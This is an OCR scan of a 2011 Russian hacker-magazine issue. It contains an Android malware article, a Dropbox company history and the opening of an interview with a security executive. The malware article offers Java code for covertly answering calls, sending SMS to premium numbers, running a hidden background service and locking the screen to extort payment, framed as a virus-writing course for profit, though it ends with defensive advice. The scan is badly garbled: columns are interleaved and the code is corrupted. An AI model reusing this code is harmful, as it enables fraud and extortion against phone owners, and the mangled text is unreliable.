~·-=-"'~"'·-·~-..-·-.."'j·J ===-•d•==ш::..~~-sмs .. ...., •• vun .,......,U...Inoodor

..-.oon

~doe(lrlgol\ll"'"""''f

.rJ Отnравляем платное

ВИРУСЫДЛЯ ГУГЛОФОНОВ: КАК ОНИ СОЗДАЮТСЯ И ЧТО С НИМИ ДЕЛАТЬ?

SMS?

заниях, а саму малварь мне раздобыть не удалось . На всякий случай, глянь свою карту памяти на предмет указанной папки, может быть,

тебе повезло больше

;1.

Буквально несколько недель назад появилось некое приложение

Google++,

маскирующееся под приложение для известной социаль­

ной сети от корпорации добра. Оно также собирает всю информацию о пользователе, но наибольший интерес общественности вызвала

функция « подслушивания разговоров >> . На практике все оказалось банально: при обнаружении входящего звонка приложение перево­ дит телефон в беззвучный режим, скрывает уведомление о звонке и поднимает трубку. Что такого можно подслушать, если телефон лежит

В стане владельцев мобильных телефонов на ОС

Android

с недавних пор растет беспокойство.

Причина тому- быстро растущее количество

в кармане, я не знаю, хотя если учесть, что при переговорах многие

люди кладут телефон перед собой, то определенная польза от такого

способа может быть.

СТРАТЕГИЯ И ТАКТИКА Google за то, что они

всевозможной малвари, которая пробирается

Трудно винить

на аппараты владельцев, причем не откуда­

на мар кете. Ведь это были самые обычные приложения , но с недо­

нибудь, а вполне легальным способом­

(которая существует в

устанавливается с маркета. Не будем оставаться в стороне и познакомимся с ситуацией поближе.

кументированными функциями

не уследили за приложениями

:1. Отсутствие тщательной

проверки

Apple AppStoгel тоже понятно- это шаг на­

встречу разработчикам, чтобы те могли оперативно выкладывать и

обновлять свой софт. С точки зрения злоумышленника мы имеем дело с банальной со­ циальной инженерией . Кто смотрит на разрешения, которые запрашивает программа для

rtiiMIIIIil

у с тановки? А кто в них разбирается? Ведь каждая , вполне банальная

:1. Давай

П е рвые с ерьезные жалобы у владельцев андрафанов появились в

и легальная программа требует себе целую кучу прав.

январе з то го года. Я уверен, что малварь существовала и до этого, но

смотрим, какие шаги предпринимают хитрые вирмейкеры для того,

была локализована на всяких форумах с пиратским софтом . Основной

чтобы наживить свой левый софт на телефоны пользователей.

же шум поднялся в марте, когда стало известно, что в официальный

1.

маркет

Google

по­

« ОфициальныЙ >> функционал. Приложение должно что-то делать. Или хотя бы создавать видимость деятельности, чтобы как можно

пробрались фейковые приложения, которые тайно во­

руют личные данные, рутяттелефон и открывают бзкдор . Несмотря на

дольше прожить насмартфоне юз ера. Условие, конечно, необя­

то, что

зательное- можно « сделать ВИД >> , что программа вылетела, а

Google

пропустила вредоносные приложения в маркет, компа­

ния очень быстро реабилитировалась , удалив аккаунт злоумышлен­

самому втихаря открыть бэкдор, отправить пару СМС на платный

ника (Myouгnetl, весь софт, который он выложил, а также удаленно деинсталировала установленные приложения с телефонов.

номер, сграбить телефонную книгу и т.д.

2.

Сразу же активизировались компании , создающие софт по защите от вирусов, и начали пачками выкладывать в маркет антивирусы .

К началу августа шумиха с малварью немного спала, но тут

GuitarSolo Lite Super GuitarSolo, на свет появились SupeгSex Positions и Hot SexyVideos. Идея ясна, не так ли? Да , народ до сих пор клюет на всякие громкие приставки типа <<Super >>, <<Hyper>> и халяв­

ную порнушку :1.

большинство новостных сайтов вновь затрубили, что появился вирус, который помимо « стандартного >> похищения личных данных

Красивое название . Посмотри на опыт Myouгnet:

<<превратилась >> в

3.

Боевой кон тент. Основная направленность малвари-это сбор

еще и з аписывает телефонные разговоры. Работает он следующим

всевозможной информации: СМС, телефонные книги , данные

образом : при каждом звонке программа активизируется и сохраняет

запись телефонны х звонков и прочее. Думаю, что пройдет немного

GPS,

разговор на карте памяти в папке /shaпgzhou /callrecoгd в формате

времени, и появятся целые ботнеты из мобильных телефонов,

• .аmг. Выяснить , отправляет ли она зти записи куда-нибудь, мне так и

у читывая, что уже сейчас есть вирусы, которые обладают всем необ­

не удало с ь , потому что информационные источники разнятся в пока-

х одимым для этого функционалом.

ХАКЕР

11/154/2011

089


MALWARE

--

!1 !1 :.

AvailaЬie

18:17 Memory:

25М

· · · , · · - ··· -· · ·· '

------------------------------

КILL

Защищаемся от прытких товарищей

КОВЫРЯЯ

Скрыться от Advaпced task killer на андроидахпока не удается

GOOGLE++

Возвращаясь к н едавним событиям и

selected apps

Ответ на

Google++, нужно обратить

внимание на исследования, которая провела и описала в своем

благе компания Тгепd Мiсго. Ребята рассказали страждущим, каким образом телефон переходил в тихий режим и незаметно поднимал трубку. Я привел ссылку на их заметку, и ты можешь самостоятель­ но ознакомиться со всеми подробностями. Здесь же я покажу самое

вкусное: пару функций, которые позволят перевести телефон в беззвучный режим и ответить на звонок. Переход в тихий режим

звонок и сокрытие уведомления о нем

private void answerCall() { try { PhoneUtil.getiTelephony(this .tm).silenceRinger(); boolean bool = PhoneUtil.getiTelephony( this .m). showCallScreenWithDialpad( e ); PhoneUtil. getTelephony( this . tm). answerRingingCallO; Thread.sleep( SeeL ); goToHomePage(); setKeyguard( e ); return ;

private void silenceResponse() {

}

int i int j

Log.w( "spy ", "silenceResponse" ); this .audioManager.getRingerMode();

ОТПРАВЛЯЕМ СМС Наверное, самый распространенный недуг, который поражает абсо­

this .oldRingerMode j; int k = this .audioManager.getVibrateSetting(e ); this .oldRinger = k; int m = this .audioManager.getVibrateSetting( l );

лютно все мобильные платформы- зто приложения, которые подло

this .oldNotification = m;_ this .audioManager.setRingerMode( e ); this .audioManager.setVibrateSetting(e , this .audioManager.setVibrateSetting( l ,

Отправляем СМСку

}

090

отправляют СМСки на платные номера. Посмотрим, как сделать такое приложениена Andгoid. В сущности, все предельно просто: нужно лишь воспользоваться классом SmsManageг:

private static final int ReqCodeSms

=

123 ;

е ); е );

synchronized void SendSms( String phone, String t~xt){

puЫic

ХАКЕР

11 / 154/2 011


Больные роботы

Pendinglntent Result = createPendingResult( ReqCodeSms, getlntent(), е ); SmsManager.getDefault().sendTextMessage(phone, null , text, Result, null);

Activity" ></service> Здесь Seгvice_Activity- это имя сервиса. Теnерь нужно объявить класс, описывающий сервис, а также его запуск и остановку:

} Код в комментариях не нуждается, тут все просто и понятно. Это­

Класс,

оnисывающи й с ервис

puЫic

class Service_Activit y extends Service {

го достаточно, чтобы немного подзаработать за счет пользователя.

Кстати, сделать это можно и с помощью Scгipting Lауег Fог Andгoid, о

private Timer timer = new Timer(); puЫic void onCreate(){ super.o nCrea t e(); start se r v ice();

котором я писал в августовском номере.

ВОЗМОЖНО ЛИ СКРЫТЬСЯ ОТ ТАСККИЛЛЕРА? Этот вопрос волнует многих разработчиков, и я частенько встре-

}

чаю его на форумах. К сожалению, ни я, ни различные андраид­ с ообщества не нашли корректно работающих способов скрыться от

private void startservice(){

вездесущих таскменеджеров. Даже если умельцыискрывались от встроенного таскменеджера при помощи различных костылей, их не­

пременно вычислял Advaпced

timer . sc hed uleAtFixedRate( new TimerTask(){ puЫic void run (){

Task Kil l eг. Поэтому мое мнение: лучше

j} Ту_т мож но выnолнять

придумать какое-нибудь звучное и умное название , чтобы пользова­ тель побоялся даже ненароком убить не слишком полезную софтину.

// заnланиров а нны е де й ствия

КОДИМ СКРИНЛОКЕР

}, е , 1еее );

Популярность СМС-вымогателей для винды уже показала, что злоу­

мышленник вполне может заработать на наивных пользователях,

}

поэтому мысль портировать эту идею для Апdго i d-устройств кажется вполне логичной.

private void stopservice(){ i f (timer != null ) { timer.cancel();

Первое, что приходит на ум,- сделать свой скринлокер. К счастью для пользователей, сделать это не так легко . Во-первых, по­ литика безопасности Aпdгoid такова, что пользователь всегда может

Home, и если другие клавиши злоумышленник может заблокирова т ь, то Home

}

выйти из любого приложения по нажатию клавиши

}

остается неприступной. Второй выход из ситуации - выставить собственный паттерн

Для наглядности я пошел самым элементарным способом­

блокировки аппарата и нагло потребовать с пользователя деньги за

просто создал таймер, который будет выполнять запланированные

заветную комбинацию. Но здесь злоумышленники опять сталкива­

действия с заданным интервалом . В реальном примере код, конечно,

ются с проблемой: на нерутованном девайсе [а таких большинство!,

усложнится, но суть в целом останется той же. Теперь все, что нужно

провернуть такой трюк не удастся. П оэтому если кому-то захоче т ся

-это просто вызвать е г о из активити.

написать нечто подобное, придется подумать н ад реализацией эксплоита, который будет сначала рутить девай с, а потом уже будет

заниматься вымогательствам [нелегкие деньги, однако

:11. Да,

и не

КАК ТЕПЕРЬ ЖИТЬ? Сейчас можно сказать, что проблема мобильной малвари находятся

надо забывать, что не все устройства ведут себя адекватно и коррек­

в зародыше, но из этого зародыша со временем явно может вырасти

тно после получения гооt-прав, поэтому вместо того, чтобы выпол­

могучий монстр. Количество андроидафон о в растет в геометриче­

нить свое предназначение, программа может зависнуть или [скорее

ской прогрессии, могучий Китай со т нями кует пятидесятибаксавые

всего! просто вылететь, а нервный пользователь может быстро

смартфоны и рассылает их по всем миру ... А

проделать хард-ресет, и весь труд пропадет даром.

ботчикам упростила прием приложений в маркет, тем самым сделав

Таким образом, самое опасное, что можно сделать при помощи

API Aпdгoid, не прибегая к ухищрениям,- это просто запустить бло­ кировку экрана. Делается это в Aпdгoid 2.2 следующим образом:

Google

в угоду разра­

возможным проникновение в него вредоносного ПО. Пока такого софта немного, и корпорация добра довольно бодро справляется с его чисткой, но что будет, если количество зараженных программ начнет расти? Не будем строить догадки, а лучше подумаем, как

Про г ра ммны й заnу ск бло ки ров ки э к рана

постараться обезопасить себя. Первое, что стоит сделать,- это

DevicePolicyManager devicePolicyManager (DevicePolicyManager) getSystemServi ce( Context . DEVICE_POLICY_SERVICE); devicePolicyManager.lockNow();

обезопасить телефон от физического вторжения [например, твой товарищ захочет испытать на твоем телефоне самописный троянчик,

пока ты отлучился ненадолго!. Обломать такого товарища можно элементарно: поставив индивидуальный паттерн для разблокировки

клавиатуры. Делается это в разделе Locatioп Можно обыграть это таким образом, чтобы экран у пользователя блокировался каждые несколько минут, что в конце-кон ц ов так его достанет, что он плюнет и отправит заветную СМ С.

& secuгity

настроек

твоего телефона.

Второй совет: все-таки избегать других источников приложений, кроме официального мар кета, и отключить в настройках опцию << До­

КУРС ЮНОГО ВИРМЕЙКЕРА: ИСПОЛНЕНИЕ В ФОНЕ

верять неизвестным источникам >> - да, мы себя ограничиваем, но

бывают моменты, когда безопасность важнее. Далее: при установ­

Для выполнения фоновых задач в Aпdгoid есть инструмент- серви­

ке приложения всегда обращай внимание на производителя и на

сы . Рассмотрим конструкцию простейшего сервиса . Откроем

название, и если есть какие-то неувязки, то лучше лишний раз по­

Eclipse

и создадим там новый проект для андроида. Прежде всего, нужно

гуглить, чем потом лишиться важной информации. Если же ты решил

объявить сервис в файле AпdгoidMaпifest.xml. Делается это следую­

все-таки установить приложение, обрати внимание на разрешения,

щим образом:

которые ему требуются . Понятно, что сейчас все приложения хотят как можно больше доступа, но лишняя осторожность еще никому не

cservice

ХА К Е Р

android:enaЫed = "true"

11/154/2011

android : name= ".Service_

мешала. :::К:

091


СЦЕНА

Мария

«Mifrill>>Нефедова [mifril llagameland.rul

Три года назад о DгорЬох никто не слышал . Сейчас о нем знает чуть ли не каж-

дый . Как небольшой коман­ де программистов удалось

превратитьбесхитростную

идею в сервис, без которо го не представляют себе

жизнь миллионы людей по всему миру? Этот путь был интересен и поучителен .

Основатели и авторы

092

ХАКЕР

Dropbox

11/154/2011


Коробка в об л аках

ropbox

DROPBOX: ПУТЬ ОТ ИДЕИ

ДО25МИЛЛИОНОВ

ПОЛЬЗОВАТЕЛЕЙ

ОТ ИДЕИ ДО СТАРТА

программируетс 5лет, а участие в различных

Создателями и основателями сервиса DгорЬох

стартапах принимаете 14лет. Никакой ошибки

считаются два человека: 27-летний американец

здесь нет, просто перед нами очередное юное

Дрю Хьюстон и его ровесник, иранецамери­

дарование. Кстати, весьма непосредственное-в

канского происхождения Араш Фирдоуси . Идея

поисках инвестиций для DгорЬохДрю расска­

DгорЬох'а, как это и бывает со многими гени­

зывал инвесторам о том, что прошлым летом он,

альными идеями, пришла в голову Хьюстону

смеха ради , реверс-инжинирил софт нескольких

случайно . Дрючасто приходилось работать за

покерных сайтов и написал играющий на на­

несколькими десктопами и ноутбуком, а таскать

стоящие деньги, почти безубыточный покерный

файлы на флешке, которую он регулярно где-то

бот. Скриншот прилагалея :). Тем не менее, весьма

забывал, быложутко неудобно. К томуже в этом

скоросталоясн~чтосправитьсяводиночкус

5

НЕСТАНДАРТНЫХ

СПОСОБОВ ИСПОЛЬЗОВАТЬ

DROPBOX

случаенельзябыло гарантироватьсохранность

поставле н ной задачей Хьюстону, увы, не п од силу.

данных . Когда вдругсгорел его компьютер вместе

Тогда-то он и обратился за помощью к своему

DгорЬох успешно используют в качестве

с жестким диском, Дрю серьезно задумался атом,

приятелю, тоже студенту МТИ, АрашуФирдоуси .

хостинга для небольших сайтов.

чтобы пере н ести файлы в облако. Во-первых,

П оследний, нужно отметить, на тот моментучился

для большей сохранности. А во-вторых , для того,

уже на

чтобы можно было обращаться к ним откуда

перспектив решился бросить институт. Парень не

4 курсе, но ради интересного проекта и

угодно. Наш герой п робовал р азличные сервисы

про г адал - н а данный момен т Фирдоуси является

дляоблачногохраненияданных.Однаковсеони,

техническим директором компании DгорЬох.

Сохранять в DгорЬох сей вы для игр,

если вдуматься, тоже весьма удобно .

по его словам, «с традали от лагов, ба го в, плохо

реагировали на большие файлы !или вообще не

С DгорЬох можно синхронизироватьлаги

Skype, QIP и других мессенджеров.

ПОИСК ИНВЕСТОРОВ

работали с н ими) и в целом заставляли пользова­

Когда в 2007 году будущий Драпбокс обрел уже

DгорЬохможетпослужитьнеплохим

теля слишком много думать>> . Д альнейший сце­

вполне конкретные очертания, Фирдоуси и Хью­

дополнением к охранной системе ПК.

нарийзаслуживает5балловврейтингепошлых

стон основали компа н ию DгорЬох l пс. и принялись

success stoгy, потому что Д рю решил изобрести

искатьинвесторов. П ар н ипонимали,чтоподнять

С помощью DгорЬох легко наладить уда­

велосипед. Сделатьсвой сервисдлясинхрони­

проектсамостоятельно,оплачиваяхостинг

ленныйзапускскачиванияторрентов .

зации файлов. И быстро осознал, что разработка

для такого количества файлов, «на карманные

можетбытьполезнанетолькоем~

деньги» будет попросту невозможно . В Сети до

сих пор можно найти копию заявки I Ьit.ly/гaHM 1 К ),

Больше анестандартныхспособах

отправленной Хьюстоном в бизнес-инкубатор У

применения сервиса можно узнать

До работы над DгорЬохХьюстон уже успе л поуча­

СоmЬiпаtог. Из нее, к примеру, можно узна т ь, что

ствовать в таких стартапах как Bit9, Accolade и

для написания и обслуживания первого рабочего

в официальной Wiki проекта: wiki .d горЬох .com/TipsAпdT гicks .

Hubspot, так что определенный опыт за плечами

прототипа использовались Python, sqlite lв кли­

ПЕРВАЯ КОМАНДА

у него уже был. Для тех, к т о люби т при д ираться к

ентской части), mysqll н a сервере), фреймворк

фактам и не поленится подсчитать, поясню: Дрю

tuгbogeaгs и главное-Аmаzоn ЕС2 и 53 для

Х АКЕ Р

11/154/2011

093


~ЦЕНА

БАГИ И НЕПРИЯТНОСТИ За все время существования сервис

Cost per acqшs1t10n . $233-$388 For а $99 product. Fшl.

Кадр иэ преэентации, посвященн о й и стории сервиса .

Маркетинг определенно не удалея

:)

ав т оризации DгорЬох используетименно

ВеснойтекущегогодаDгорЬо х попытался

и только з начение host_id, а файл coпfig . db

уничтожить открытый про е кт Dгopship. Все

портативен и не связан с системой . Та ким

началосьсвнесениявпользовательское

образом, копирование coпfig.db на др угую

соглашение изменений , которые обозна­

машину и запуск DгорЬох немедленно

чили возможностьдешифровки приватных

синхронизирует этусистемусаккаунтом,без

данны х клиентов и их передачу по запросу

уве домленияполь зо вателяидажебе звне ­

правоо храни т ел ьны х органов.

сения новой системы в с писок доверенн ых.

Dгopship , в свою очередь. распростра­ нялся подлицензией

MIT и давал пользова­

Dropbox привп екает

Хуже того, пользовательдаже ничего не за­ метит, а если он сменит лаги н и па роль, тоже

телямвозможностьисполь зо ватьDгорЬо хв

н ичего не изменится-hоst_id все равн о при

качес тв еаналогафайлообменнойсети.Все

этом останется валидным.

строилось на клю ч евом принципе DгорЬох:

Еще один слайд иэ преэентации. Как пользователей.

авторизации и не меняется со временем. Для

не мо г обойтись без заметных фейлов.

Не совсем радужны и изменения , не

если у поль зо вателя естьхэш файла, хра­

такдавновнесенные в пользовательское

нимого в публичном каталоге DгорЬох, то

соглашение. В FAQ DгорЬо х ранее было на­

любойпользовательDгорЬохможетскопи­

писано: « все файлы зашифрованы AES-256

ровать исходный файл в свой собственный

и не могут быть расшифрованы без вашего

каталог. То ес ть, доп устим, имея несколько

пароля ». Потом строка о па роле и невоз­

.аvi - файлов, можно выложить хэ ш . и затем

можности расшифровки куда -т о пропала , и

DгорЬо х предоставит данный файл множе­

последняя редакция пользовательског о со­

ству аккаунтов. Автор Dгopship- Владимир

глашения по этому вопр осу теперь выглядит

вандер Л а ан -сообщил , что в течение

так: « Сотрудникам DгорЬ ох запрещено про­

нескольких часов l!l после того, как пр оект

сматривать контент файлов, которые хранят

был анонсирован на сайте Насkег News, с

поль зовате ли в своих папках, им разрешено

ни м связался Араш Фирдо ус и и «вежливо»

только просматривать метаданные, такие

попросил убрать проектс github. Ван дер

как имена файлов и пути•.

Л а ан послушался. Поль зовател и Dгopship

П озицияDго рЬохсводитсяктом~чтоони

отреагировалинаслучившееся созданием

никогда не утвержда ли , что не х ранятус ебя

многочисленны х зеркал проекта , как на

криптографических ключей, то есть, якобы ,

хостингасерверовихранени яданны х.Интересн~

github, так и на самом DгорЬо х . Но в течение

они никого и н е обманывали.

какХьюстонподавалсвоейпроектпотенциаль­

короткого времени данны е юзеры также по­

ным инвесторам и на что именноделал упор. Ниже

лучили просьбуотпредставителей DгорЬо х

я приведу несколько цитат из заявки:

об удалении зеркал . В итоге приложение

USENIX Secuгity Sym posium были пред­

практическиисчезлои зи нтернет~апочти

ставленысразунесколькоуязвимостейв

<< Если взятьлучшее oтsubveгsioп, !гас и гsупс

В завершение скажу. что в конце августа 2011годанасим позиумепобезопасности

изаставить«простоработать»врукахсредне­

все его публичные репазитарии и архивы

DгорЬо х. Сейчас все они уже закрыты- ис­

статистического потребителя или гр у ппы

были свернуты.

следователи разработали зксплойты еще

таковых- получится DгорЬох ». « Я нахожуочень сме шными имена, которые

Еще один н е совсем приятный инцидент п роизошел все той же весной

2011, на этот

в прошлом году и дали DгорЬох время для

устранения пр облем, прежде чем пр еда т ь

люди вынуждены давать своим документам,

раз он был связан с безопасностью DгорЬох.

их огласке. Тем не менее, исследователям

в целях отражения «версио нности >>. Знаете,

Да нная новость распространилась п о Сети

удалось поддел а ть хэш-значе н ия данны х,

вроде: • предложениеv2 положительно рас­

со скоростьюлесного пожара и породила

хранимых в облаке DгорЬох. Удало с ь про­

смотренное НОВЫЙ 11-15-06 .do c».

м н ожество споров. В DгорЬо х обнаружили

вернуть кражу ID хоста жертвы. И удало сь

«Су ществуют хорошие решения для синхро­

уязвимость. Найденная дыра оказалась,

провести атаку, использующую преим у ще­

ни за ции (Ьеiпsупс, Foldeгshaгel . существуют

в общем-то, непустяшной: все дело в

ствофункции,котораяпозволяетклиентам

удобныетузлы для бека па (СагЬопitе, Mozyl.

файле coпfig . db, хранящемся по адресу

DгорЬо х запрашивать фрагменты файлов

есть также и сетевые сер висы для загрузки/

% APPDATA%\Dгopbox и являющем собой

через SSL по определенному URL. Все что

публикации контента, - однако нет удобного

таблицубазы данных. В таблице всеголишь

необходимо -это хе ш-значение фрагмента

интегрированного реше ни я».

три поля -

« Работу над проектом я начал

3 месяца тому

назад. На данный момент написано примерно 5

email, dгopbox_path и host_id. По­

и любой действующий ID, необязательно ID

сле дн ее поле н е относи т ся к опреде л енному

хоста, к которому привязан запрашиваемый

хосту, назначается системе после первой

фрагмент.

ты с. с тр ок кода для клиента и 2 ты с. строк кода для сервера . Это код на Pythoп и С++, шаблоны

Cheetah, инсталлер-скри пты и пр . » . « Мы планируем использовать fгeemium­ пoдxoд. раздавая аккаунты с квотой в 1 Гб и взимая платузадополнительное пространство

[возможно около $5, или даже меньше , для индивидуальных пользователей, плюс тариф­ ные планы для групп, которые начинаются с

минимума - $20 в месяц!•. Усилия Хьюстона и Фирдоуси не прошло даром.

091,

ЗАТРАТЫ НА ПРИВЛЕЧЕНИЕ ОДНОГО ПОЛЬЗОВАТЕЛЯ О&ХОДИЛИСЬ В

КРУГЛЕНЬКУЮ СУММУ: $233-388, В ТО

ВРЕМЯ КАК САМ ПРОДУКТ СТОИЛ $99 ХАКЕР

11/154/2011


СЦЕНА

отдать все это на откуп профессионалам. Так и по­ ступили. Наняв на работуумных и дорогостоящих « nродажников >> и SЕО-специалистов, DгорЬо х принялся по купать ключевые слова в поискови ­

ках и хитро подправлять страницы собствен наго сайта. Соль заключалась в том, что от людей,

пришедших на сайт по «куп ленным ссылкам>>, прятали опцию создания бесплатного аккаунта, заменяя ее на бесплатный, но ограниченный по времени т риал. Низко пали создатели DгорЬо х, PuЫic

Photos

нечего не скажешь. SЕО'шники хорошего не по­

советуют:!. Каково же было всеобщее удивление (должно быть, больше всехудивлялись супер­ дипломированные маркетологиl, когда выясни­ лось , что затраты на привлечение в сервис одного

........______, G~tting

~-November catlllog

Started

пользователя выливаются в кругленькую сумму:

$233-388, в то время как сам продуктстоит$99 в год! Epic fail! В ся стратегия продвижениятрещала по швам : ключевые слова направо и налево пере­

DгорЬох предельно пр ост и понятен, именно за это его и полюбила публика. Взгляни на интерфейс

купалиськонкурентами,партнерскиепрограммы ирекламапочтиничегонедавали,асокрытиеоп­

Вапреле2007годаХьюстонполучил$15000от

« nасхальных яиц>>, способных порадоватьлюбого

циисозданиябесплатногоаккаунта,естественн~

известного инкубатора стартапав У ComЬinatoг.

гика. Расчетбыл прост--первичной аудиторией

оказалоськрайнесомнительным хо дом . Команда

Следующие четыре месяца он усердно работал

сервиса явнодолжны были статьайтишники, охо­

DгорЬо х с ужасом осознала , чтоделать все «как

надкодом,посвящаястартапупо15часоввдень.

чие до новых технологий . И даже если они решат,

принято>> далеко не всегда з начитхорош о .

В сентябретого же года Хьюстон и Фирдоуси

что продуктполный отстой, роликхотя бы их по­

переехали в Сан-Франциска, где в течениедвух

веселит и им запомнится. И хотя развлекательный

недельдобивалисьвстречиспредставителя-

фактор был привнесен в видео с умыслом, основная

ми венчурной компании

задача ролика все же заключалась в наглядной

Впрочем,приростпользователейвсеравнона­

несколькодней они преуспели в этом вопросе, и

Sequoia Capital . Через

демонстрации работы DгорЬох и рекламе старта

блюдался, и немалый: кавгусту2009 года проект

вскоре у них на руках былоуже $1.2 млн инвести ­

бета-теста. Опубликовав ролик на

ций . Послезапускасервисавсентябре2008года

ли DгорЬох изрядно нервничали и даже сделали

допущенные ошибки, DгорЬох продолжал расти

компаниясумелапривлечьуже$l2млнинвести­

ставки--аудиторию какого размера им удастся

и развиваться . Немало времени ушло у команды

ций. Процесс, как говорится, пошел .

привлечь? По самым смелым прогнозам выходило,

стартапа на осмысление этого парадокса. Впо­

что по ступит не больше 7-10тысяч заявок. Цифра

следствии сам ДрюХьюст о н объяснял это тем ,

в15000заявокужевиделасьиммалореальной.

что вся команда DгорЬох была сосредоточена на

Digg, создате­

насчитывал уже

1 млн аккаунтов. Несмотря на

все

Каково же было их удивление, когда видео собрало

Оказалось, создать хороший, удобный сервис и получитьпервичноеодобрениеинвесторов-­ этодалеко не главное. В

2008 году DгорЬох

более 12 ОООдиггов, и уже на следующийдень в wait-list встало 75 000 человек! После громко го публичного запуска DгорЬох ,

заработал-- пришло время раскручиваться и

состоявшегася на конференции TechCгunch50 в

завоевывать широкую аудиторию. И хотя сначала

конце2008года,пришловремявыйтинабольшой

все начиналось неплохо, вскоре возникли пер­

рынок и приелекать к сервису широкие массы. Од­

вые сложности.

накодальнейшаястратегияХьюстона,Фирдоуси и Ко выглядела довольно забавно. Дело в том, что

П ервоначальныйпланраскруткипроекта

был незамысловат. Еще на этапезакрытой беты,

командапроектадосихпорбольшечемнапо­

когда DгорЬох проходил внутреннее тестирование,

ловинусостоит из инженеров, а на момент 2008

caйт getdгopbox.com уже кратко информировал

года она, пожалуй , состояла из них чуть более чем

забредшеготуда пользователя о сути стартапа и

полностью. Для продвижения и маркетинга парни

предлагал всем заинтересовавшимся ввести свой

собрались нанять << nони мающих людей>>-- РR­

email, встав в очередь за заветным приглашением. Когда в начале 2008 года настало время беты по

агентство или какого-нибудь крутого маркетоло­

инвайтам,командаопубликовалавСетиинформа­

не было, просто они сочли, что раз уж в вопросах

тивный и смешной ролик, содержавший множество

продаж и популяризации они любители, то нужно

га. Словом, конкретной рекламной стратегии у них

Уже спустя пару лет после благополучного запуска DгорЬох,входепрезентации,посвященнойистории сервиса, Дрю Хьюстон рассказывал атом, что не раз и не два он имел с инвесторами следующий диалог: Инвестор: Но на рынке сейчас представлены миллионы

стартапав облачных хранилищ! Зачем нам еще одно? Дрю: Вы пользуетесь каким-то из них ? Инвестор : Нет... Дрю: Интересно, не правда ли?

096

ХАКЕР

11/154/2011


Коробка в облаках

создании максимальнокачествен н огаи простогов

использованиипродукта.ОгорЬохсоздавался«как

для себя», в тоже время разработчикиточно знали, что нужно коммьюнити. И это самое коммьюнити, в свою очередь, обеспечило сервису огромную поддержку. Не безучастия п ользовательского сообществаостартапепоявилосьнемалопубли­

каций в IТ-прессе (в то время

NYTimes и The Wall

StгeetJouгпal писать о DгорЬох были еще не готовы

:1, ктомуже информация о сервисе попросту п ере­ даваласьизуствуста,распространяясьпоСети.

Отметив все эти интересные тенденции, компания,наконец,обратиласькдействительно грамотным специалистам и началатратитьде н ьги на аналитику, сплит-тесты итакдалее-словом, на

все то, чеготак не хватало вначале. Оказалось, что самым эффективным инструментом продвижения

былостароедоброе«сарафанноерадио~Человек пробует сервис, тотему нравится, -человек рас­

сказывает о нем своимдрузья м. Чтобы стиму­ лироватьактивностьпользователей делиться

радостями со своими ближними, была разработана реферальная программа . Смыслданной про­ граммы заключается в том, что за регистрацию нового пользователя и приглашающая сторона и приглашенная получают дополнительные и совер­

шенно бесплатные 250 Мб места (в случае плат н ого аккаута +500 Мб). Всего на таких рефералах можно набрать до 8 Гбдополнительного халявного про­

странства (до

16 Гбдля студентов и до 32 Гб на

платных аккаунтахl. Это сработало! Лучше всего картину проиллю­

стрируют цифры. На август201 О года, то есть всего месяц спустя после старта реферальной програм­ мы, пользователи отправили друзьям

2.8 млн.

приглашений! Если в сентябре пользователей было всего 1ООтысяч, то к январю 2010 сталоуже 4 миллиона, а сейчас - уже более 25 миллионов. Реферальная программа обеспечила перманент­ ный 60%-ный прирост количества новых юзе ров.

ДОХОДЫ

DROPBOX

Правильно реализовав простую идею, сервис

превратился в большой бизнес. За хороший сер­ вис приятно платить, и люди охотно платят. Соз­ датели утверждают, что сейчас за услуги DгорЬох платит порядка

2% пользователей.

Выручка

компании в 201 О году составила $14 млн. Правда, существеннаячастьэтихденегуходитнаплату

Amazoп, у которой компания по купает сервернее пространство. Между тем, слухи утверждаю т,

что данные цифры занижены, и реальная сумма

годовой выручки DгорЬох ближе к $30 млн. В те­ кущемгодуаналитикипрогнозируютвзятиеком­

панией планки в $100 млн. Согласно информации TechCгuпch, по итогам очередного раунда финан­

сирования DгорЬох может привлечь от $200 млн до $300 млн инвестиций, исходя из общей оценки компании в

$5-6 млрд' Данные суммы уже вряд

ли «взяты с потолка>>, если учесть, что в кон ц е

лета2011годакомпанияофициальнообъявила

о переезде в новый огромный офис против старых

(8120 кв.м. 1022 кв.м . l и рассказала, что в

ближайшее время собирается расширить штат

сотрудников с

65 до 400+ человек. Такого рода

из­

менения не происходят на пустом месте. :::И:

ХА К ЕР

11 /154/201 1

097


СЦЕНА/И

098


АЛЕКСАНДР

«5H2KERR>> ПОЛЯКОВ

ЧЕЛОВЕК ИНТЕРВЬЮ С

ТЕХДИРОМ КОМПАНИИ

DIGITALSECURITY

Считается, что сделать в России бизнес

КАК ТЫ ПРИШЕЛ В СФЕРУ ИНФОРМАЦИОННОЙ БЕЗОПАС­

в области информационной безопас­

НОСТИ? КАК НАЧАЛАСЬ И РАЗВИВАЛАСЬ ТВОЯ КАРЬЕРА?

ности-ужас как сложно. Мы встрети­

лись с одним из ярких представителей российской И Б-тусовки, который делает

хорошую карьеру в этой сфере: ездит по лучшим мировым конференциям, а в

свободное от перелетав время создает с нуля бизнес на абсолютно новом рын-

Ну, в общем тут ничего необычного, все довольно стандартно. Увлечениематематикойяперенялототца,эзотерической литературой в смеси с различными духовными практиками-от

матери. В общем, все это наверное повлияло на мое становление. После школы поступил по олимпиаде в Политех на факультетзащиты информации. Кстати, поступал за компанию, на всякий случай, а

вообще сначала хотел заниматься компьютерным дизайном, как бы смешно зто сейчас ни звучало. Но из-за не совсем честных способов поступленияэтотвариантотвалился , чемуясейчасрад.Нуавунивере на третьем курсе понял, что хочу знать, как конкретно ломаютсистемы

ке софта для анализа защищенности

!иначе непонятно, от чего я, собственно, должен их защищать!. Я купил

бизнес-приложений

журнал «Хакер>>, подписался на какую-то рассылку по ассемблеру, ну и

SAP.

начал искать винтернетесервера с РНР-инклудами. Где-то год проработал админом в небольшой компании, где можно было в свободное время заниматься безопасностью, а потом от Леши Синцова узнал, что есть компания, в которой можно ломать, да еще и деньги за это получать. Правда, и задачки там были недетские: к примеру, обойти защиту от переполнения в ХР, когда этого еще никто не мог сделать. Долго готовился, читал разную литературу и в итоге напросился на собеседование, в процессе которого мне в течениетрех часов методично давали понять, что я ничего не знаю, и вообще я

никто. Потом дали тестовое задание- найти уязвимость в сервисе и написать эксплоит с обходом ASLR. В общем, в итоге мне сказали ладно, так уж и быть, можешь приходить стажером, вроде мозги на месте, остальное придет.

ХАКЕР

11/154/2011

099


СЦЕНА/ИНТЕРВЬЮ

КАК ТЫ ОЦЕНИВАЕШЬ ПОЛЬЗУ ОТ

подумал, что написав книгу, я смогуписатьстатьи

